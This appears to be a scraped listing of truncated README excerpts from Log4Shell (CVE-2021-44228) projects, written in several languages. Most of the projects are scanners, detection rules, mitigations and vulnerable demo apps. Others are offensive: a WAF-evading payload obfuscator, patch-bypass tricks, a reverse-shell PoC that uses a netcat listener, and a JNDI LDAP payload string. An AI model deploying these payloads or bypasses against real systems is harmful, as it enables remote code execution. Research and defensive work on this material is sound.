cloudrasp-log4j2

CloudArmor · ランタイムアプリケーション自己防御モジュール - Log4j2 バージョン 简体中文 このプロジェクトは、Log4j2 CVE-2021-44228 を防御するために特別に構築された CloudArmor のローカルバージョンです。このプロジェクトを実行するためにネットワーク接続は必要ありません。 本番環境にデプロイする前に必ずテストを行ってください。...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

cve-2021-44228

cve-2021-44228 这是安徽大学 “漏洞分析实验”（大三秋冬）期中作业归档。完整文档位于https://testgames.me/2024/11/10/cve-2021-44228/...

log4j2-CVE-2021-44228

示例 Log4j2 易受攻击的应用程序 CVE-2021-44228 受影响版本：从 2.0-beta9 到 2.14.1 的所有版本 此应用程序基于易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序。 它使用 Log4j 2.14.1（通过 spring-boot-starter-log4j2 2.6.1）。 运行应用程序 运行它： root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot...

org.shaneking.demo.cve.y2021.s44228

org.shaneking.demo.cve.y2021.s44228 CVE-2021-44228...

log4shell-mitigation

Log4j2 RCE漏洞详情与缓解策略 访问此 YouTube 视频获取更多详情。 https://youtu.be/jqWdwTeGRK0 这是一篇关于 CVE-2021-44228 安全漏洞（又名 Log4Shell 和 LogJam）在 log4j2 中的缓解措施的快速文章。 免责声明 所有信息及随附的代码示例仅供教育及参考之用，仅适用于您自己的系统。 请谨慎操作，风险自负。 这是什么 这是一个零日漏洞，以远程代码执行（RCE）的形式存在于特定版本的流行 Java 日志框架 log4j2 中。 严重程度如何 它在通用漏洞评分系统（CVSS）中的评分为 10 分（满分 10 分）。...

Log4JHunt

Log4JHunt 一个用于检测 Log4Shell CVE-2021-44228 漏洞的自动化、可靠扫描器。 视频演示： 用法 以下是帮助用法： root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Author: Pinaki Mondal RHL Research Team + Continuously Track...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4（或移除 JNDI 查找）。禁用扩展（这无论如何看起来都是个糟糕的主意）。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

Log4j-Vulnerability

🔓 Log4Shell漏洞演示（CVE-2021-44228） 本项目是一个受控的测试环境 ，用于复现和理解影响Apache Log4j库的严重漏洞Log4Shell （CVE-2021-44228）。 📁 项目架构 root@kitploit: Secutp1/ ├── Dockerfile 构建Docker镜像 ├── pom.xml Maven依赖（有漏洞的Log4j 2.14.1） ├── README.md 本文件 └── src/ └── main/ └── java/ └── com/ └── example/ └── VulnerableApplication.java...

CVE-2021-44228---detection-with-PowerShell

CVE-2021-44228 PowerShell检测 1 打开 automatedscan.ps1，设置变量 $ResultsCSV 和 $Directory 2 保存并关闭文件 3 以管理员身份打开PowerShell，然后运行以下命令： powershell.exe -noprofile -executionpolicy bypass -file .\automatedscan.ps1...

vcenter-log4j

VMware vCenter log4j 回避策 VMware vCenter log4j 脆弱性 CVE-2021-44228 の回避策スクリプト（VMware KB 記事 に基づく）。 2021-12-13 02:09 UTC - Secure Token および Identity Management サービスを追加 2021-12-13 12:46 UTC - PSC Client for 6.5 を追加 - 以下を参照 VMware は KB 記事にリンクされた Python スクリプトを公開しています。彼らのバージョンの初期の問題は解決されたようです。 簡易手順 vCente...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator可以生成初级混淆的或二级混淆的CVE-2021-44228或CVE-2021-45046 payloads，以规避WAF检测。 Log4Shell-obfuscated-payloads-generator的设计思想 安装 root@kitploit: git clone https://github.com/r3kind1e/Log4Shell-obfuscated-payloads-generator.git...

log4j-vuln-demo

log4j-vuln-demo Imagen de demostración intencionalmente vulnerable para pruebas de escaneo y corrección de Sysdig CNAPP. Contiene Log4j 2.14.1 — vulnerable a CVE-2021-44228 Log4Shell, CVSS 10.0 Crítico. Propósito Este repositorio existe para demostrar el flujo de trabajo CNAPP de extremo a extrem...

Log4j-CVE-Detect

Log4J-CVE-Detect 此仓库包含一组 YARA 规则，通过查找受影响版本中出现的若干特征，来检测易受 CVE-2021-44228、CVE-2021-45046 和/或 CVE-2021-45105 影响的 log4j 版本。 此工具可递归处理 Docker 镜像、系统软件包、文件系统镜像，甚至安装介质等二进制文件。有关受支持文件格式的完整列表，请参阅"工作原理"一节。 CVE-2021-44228 查找 JndiManager 构造函数的特征（ 2.15.0）。 CVE-2021-45046 查找未导入 JndiManager 的 Interpolator 类（...

Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228

Log4JExploitation-VulnerabiliyCVE-2021-44228. introducción Se ha encontrado una vulnerabilidad de ejecución remota de código relacionada con la librería de registro de Java Log4j. CVE-2021-44228 Esta vulnerabilidad ha causado un gran revuelo en la comunidad cibernética mundial; desde Wannacry no...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 近期 log4j（一个被广泛用于 elasticsearch、minecraft 等众多场景的 Java 日志库）中出现了一个新漏洞。 本仓库包含一个示例漏洞应用及其概念验证（POC）利用程序。 概念验证（POC） 作为一个 PoC，提供了一个 Python 文件来自动化整个过程。 依赖安装： root@kitploit: pip install -r requirements.txt 使用方法： 启动一个 netcat 监听器来接收反弹 shell 连接。 root@kitploit: nc...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 サポートをお願いします - コンテンツを気に入ったら ⭐️ をお願いします | Twitterでシェア | 私をフォローする 🐱‍💻 ✂️ 🤬 LOG4J Java エクスプロイト - WAF およびパッチバイパスのトリック 📝 説明 CVE-2021-44228 は以下で動作します： log4j: 2.0 = Apache log4j = 2.14.1 すでにパッチが適用された Java バージョン: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows Defender は、jndi:ldap:... を含む .java ファイルを削除し始めました。...

hka-seminar-log4shell

Seminararbeit - Log4Shell漏洞演示 CVE-2021-44228 安全提示 本仓库仅供教育和演示用途 ，用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识，并展示当看似无害的功能（如日志记录、名称解析和动态类加载）组合在一起时，可能产生复杂漏洞。 目录 1. 项目描述 1.1 研讨会论文目标 1.2 演示概述 2. 什么是 Log4Shell？ 3. 技术组件详解 3.1 Log4j - 工作原理 3.2 JNDI - 查找机制 3.3 LDAP - 结构与作用 3.4 Log4Shell 一般流程 4...

log4j-filescan

████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 测试 1. LDAP服务器与恶意文件下载服务器 1.1 运行Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: -...